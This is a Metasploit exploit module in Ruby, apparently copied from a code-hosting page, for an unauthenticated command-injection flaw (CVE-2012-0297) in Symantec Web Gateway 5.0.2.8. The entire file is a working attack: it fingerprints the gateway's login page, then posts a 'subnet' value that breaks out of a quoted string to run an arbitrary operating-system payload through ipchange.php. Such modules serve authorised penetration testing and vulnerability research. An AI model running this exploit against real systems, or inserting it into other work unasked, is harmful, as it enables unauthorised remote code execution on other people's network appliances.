98 lines
2.6 KiB
Ruby
98 lines
2.6 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
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'Description' => %q{
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This module exploits a command injection vulnerability found in Symantec Web
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Gateway's HTTP service due to the insecure usage of the exec() function. This module
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abuses the spywall/ipchange.php file to execute arbitrary OS commands without
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authentication.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tenable Network Security', # Vulnerability Discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0297' ],
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[ 'BID', '53444' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
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[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a\x26",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl',
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}
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},
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Symantec Web Gateway 5.0.2.8', {}],
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],
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'Privileged' => false,
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'DisclosureDate' => "May 17 2012",
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/spywall/login.php'
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})
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if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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peer = "#{rhost}:#{rport}"
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post_data = "subnet="
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post_data << "\";" + payload.raw + ";#"
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print_status("#{peer} - Sending Command injection")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{uri}spywall/ipchange.php",
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'data' => post_data
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})
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# If the server doesn't return the default redirection, probably
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# something is wrong
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if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
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print_error("#{peer} - Probably command not executed, aborting!")
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return
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end
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end
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end
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